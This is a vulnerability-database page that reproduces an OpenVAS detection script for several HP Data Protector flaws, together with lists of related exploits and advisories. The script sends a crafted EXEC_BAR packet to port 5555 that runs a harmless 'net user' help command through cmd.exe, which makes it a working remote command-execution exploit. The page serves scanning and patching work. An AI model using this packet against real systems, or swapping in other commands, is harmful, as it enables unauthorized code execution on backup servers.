HP (OpenView Storage) Data Protector Multiple Vulnerabilities
🗓️ 18 Feb 2014 00:00:00Reported by Copyright (C) 2014 Greenbone Networks GmbHType
openvas🔗 plugins.openvas.org👁 152 Views
| Reporter | Title | Published | Views | Family All 139 |
|---|---|---|---|---|
| HP Data Protector Client Code Execution Vulnerability PoC (ZDI-11-055) | 28 May 201100:00 | – | zdt | |
| HP Data Protector Remote Shell for HP-UX | 5 Aug 201100:00 | – | zdt | |
| HP Data Protector Remote Root Shell for Linux | 10 Aug 201100:00 | – | zdt | |
| HP Data Protector 6.1 EXEC_CMD Remote Code Execution | 25 Feb 201200:00 | – | zdt | |
| HP Data Protector Arbitrary Remote Command Execution | 7 Aug 201300:00 | – | zdt | |
| HP Data Protector Backup Client Service Remote Code Execution | 6 Mar 201400:00 | – | zdt | |
| HP Data Protector Backup Client Service Remote Code Execution Exploit | 10 Mar 201400:00 | – | zdt | |
| HP Data Protector 8.x - Remote Command Execution Exploit | 16 Jan 201000:00 | – | zdt | |
| HP Data Protector 8.10 Remote Command Execution Exploit | 7 Mar 201500:00 | – | zdt | |
| HP Data Protector A.09.00 - Arbitrary Command Execution | 26 May 201600:00 | – | zdt |
10
| Source | Link |
|---|---|
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-005 |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-002 |
| h20565 | www.h20565.www2.hp.com/hpsc/doc/public/display |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-009 |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-006 |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-003 |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-001 |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-007 |
| h20564 | www.h20564.www2.hp.com/hpsc/doc/public/display |
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-14-008 |
10
# Copyright (C) 2014 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:hp:data_protector";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.804402");
script_version("2021-08-10T15:24:26+0000");
script_tag(name:"last_modification", value:"2021-08-10 15:24:26 +0000 (Tue, 10 Aug 2021)");
script_tag(name:"creation_date", value:"2014-02-18 16:03:46 +0530 (Tue, 18 Feb 2014)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2013-2344", "CVE-2013-2345", "CVE-2013-2346", "CVE-2013-2347",
"CVE-2013-2348", "CVE-2013-2349", "CVE-2013-2350", "CVE-2013-6195",
"CVE-2011-0923", "CVE-2014-2623");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("HP (OpenView Storage) Data Protector Multiple Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
script_family("General");
script_dependencies("hp_data_protector_installed.nasl");
script_require_ports("Services/hp_dataprotector", 5555);
script_mandatory_keys("microfocus/data_protector/detected");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to bypass
certain security restrictions, manipulate certain data, and compromise a vulnerable system.");
script_tag(name:"affected", value:"HP (OpenView Storage) Data Protector v6.2x, v7.x, v8.x and v9.x.");
script_tag(name:"insight", value:"Multiple flaws are due to:
- An error within OmniInet.exe when handling certain messages can be exploited
to access otherwise restricted files by sending a specially crafted request to TCP port 5555.
- A boundary error within rrda.exe, vbda.exe, vrda.exe, rbda.exe when
processing rrda request messages can be exploited to cause a stack-based buffer overflow.
- An error within OmniInet.exe when handling certain messages can be exploited
to execute arbitrary commands by sending specially crafted EXEC_BAR packet to TCP port 5555.
- A boundary error within crs.exe when parsing opcodes 214, 215, 216, 219, 257,
and 263 can be exploited to a cause stack-based buffer overflow.");
script_tag(name:"summary", value:"HP (OpenView Storage) Data Protector is prone to multiple
vulnerabilities.");
script_tag(name:"solution", value:"Apply the patch from the referenced advisory.");
script_tag(name:"vuldetect", value:"Construct the crafted TCP request with command and check it
is possible to execute the command");
script_xref(name:"URL", value:"http://seclists.org/bugtraq/2014/Jan/7");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/125246");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-001");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-002");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-003");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-004");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-005");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-006");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-007");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-008");
script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-009");
script_xref(name:"URL", value:"http://h20565.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c03822422");
script_xref(name:"URL", value:"https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818");
exit(0);
}
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
soc = open_sock_tcp( port );
if( ! soc )
exit( 0 );
# nb: Attack string: 'c:\windows\system32\cmd.exe' '/c net user usr p@ss!23 /help'
hdpReq = raw_string(
0x00, 0x00, 0x01, 0x3c, 0xff, 0xfe, 0x32, 0x00,
0x00, 0x00, 0x20, 0x00, 0x68, 0x00, 0x70, 0x00,
0x64, 0x00, 0x70, 0x00, 0x31, 0x00, 0x00, 0x00,
0x20, 0x00, 0x30, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, 0x00,
0x45, 0x00, 0x4e, 0x00, 0x55, 0x00, 0x00, 0x00,
0x20, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00,
0x20, 0x00, 0x45, 0x00, 0x58, 0x00, 0x45, 0x00,
0x43, 0x00, 0x5f, 0x00, 0x42, 0x00, 0x41, 0x00,
0x52, 0x00, 0x00, 0x00, 0x20, 0x00, 0x41, 0x00,
0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x00, 0x00,
0x20, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x41, 0x00, 0x00, 0x00, 0x20, 0x00, 0x41, 0x00,
0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x00, 0x00,
0x20, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x41, 0x00, 0x00, 0x00, 0x20, 0x00, 0x41, 0x00,
0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x00, 0x00,
0x20, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x41, 0x00, 0x00, 0x00, 0x20, 0x00, 0x41, 0x00,
0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x00, 0x00,
0x20, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x41, 0x00, 0x00, 0x00, 0x20, 0x00, 0x41, 0x00,
0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x00, 0x00,
0x20, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x41, 0x00, 0x00, 0x00, 0x20, 0x00, 0x63, 0x00,
0x3a, 0x00, 0x5c, 0x00, 0x77, 0x00, 0x69, 0x00,
0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00,
0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00,
0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00,
0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x63, 0x00,
0x6d, 0x00, 0x64, 0x00, 0x2e, 0x00, 0x65, 0x00,
0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x20, 0x00, 0x2f, 0x00, 0x63, 0x00,
0x20, 0x00, 0x6e, 0x00, 0x65, 0x00, 0x74, 0x00,
0x20, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00,
0x72, 0x00, 0x20, 0x00, 0x75, 0x00, 0x73, 0x00,
0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x40, 0x00,
0x73, 0x00, 0x73, 0x00, 0x21, 0x00, 0x32, 0x00,
0x33, 0x00, 0x20, 0x00, 0x2f, 0x00, 0x68, 0x00,
0x65, 0x00, 0x6c, 0x00, 0x70, 0x00, 0x0d, 0x00,
0x0a, 0x00, 0x0d, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x00, 0x00);
send( socket:soc, data:hdpReq );
sleep( 7 );
hdpRes = recv( socket:soc, length:4096 );
len = strlen( hdpRes );
if( ! len )
exit( 0 );
for( i = 0; i < len; i = i + 1 ) {
if( ( ord( hdpRes[i] ) >= 61 ) ) {
hdpData = hdpData + hdpRes[i];
}
}
close( soc );
if( "NETUSER" >< hdpData && "viewThenameoftheuseraccountcanhave" >< hdpData ) {
security_message( port:port );
exit( 0 );
}
exit( 0 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2021 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 210
EPSS0.89394